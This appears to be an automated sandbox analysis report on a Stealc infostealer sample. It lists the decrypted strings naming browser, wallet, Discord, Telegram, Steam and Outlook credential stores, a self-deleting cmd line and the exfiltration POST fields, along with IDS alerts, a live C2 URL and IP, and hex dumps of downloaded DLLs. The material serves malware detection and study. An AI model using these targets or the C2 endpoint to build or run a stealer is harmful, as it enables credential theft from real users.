Source: 0.2.file.exe.450000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.450000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.450000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.450000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.450000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.450000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.450000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.450000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.450000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.450000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.450000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.450000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.450000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.450000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.450000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.450000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.450000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.450000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.450000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.450000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.450000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.450000.0.unpack	String decryptor: open
Source: 0.2.file.exe.450000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.450000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.450000.0.unpack	String decryptor: files
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.450000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.450000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.450000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.450000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.450000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.450000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.450000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.450000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.450000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.450000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.450000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.450000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.450000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.450000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.450000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.450000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.450000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.450000.0.unpack	String decryptor: done
Source: 0.2.file.exe.450000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.450000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.450000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.450000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.450000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.450000.0.unpack	String decryptor: https
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.450000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.450000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.450000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.450000.0.unpack	String decryptor: build
Source: 0.2.file.exe.450000.0.unpack	String decryptor: token
Source: 0.2.file.exe.450000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.450000.0.unpack	String decryptor: file
Source: 0.2.file.exe.450000.0.unpack	String decryptor: message
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.450000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA26C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,		0_2_6CA26C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,		0_2_6CB7A9A0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50124 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2634831293.000000006CD11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2599315739.000000000047C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2139158406.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2634831293.000000006CD11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2599315739.000000000047C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2139158406.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49709 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 10:45:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 10:45:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 10:45:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 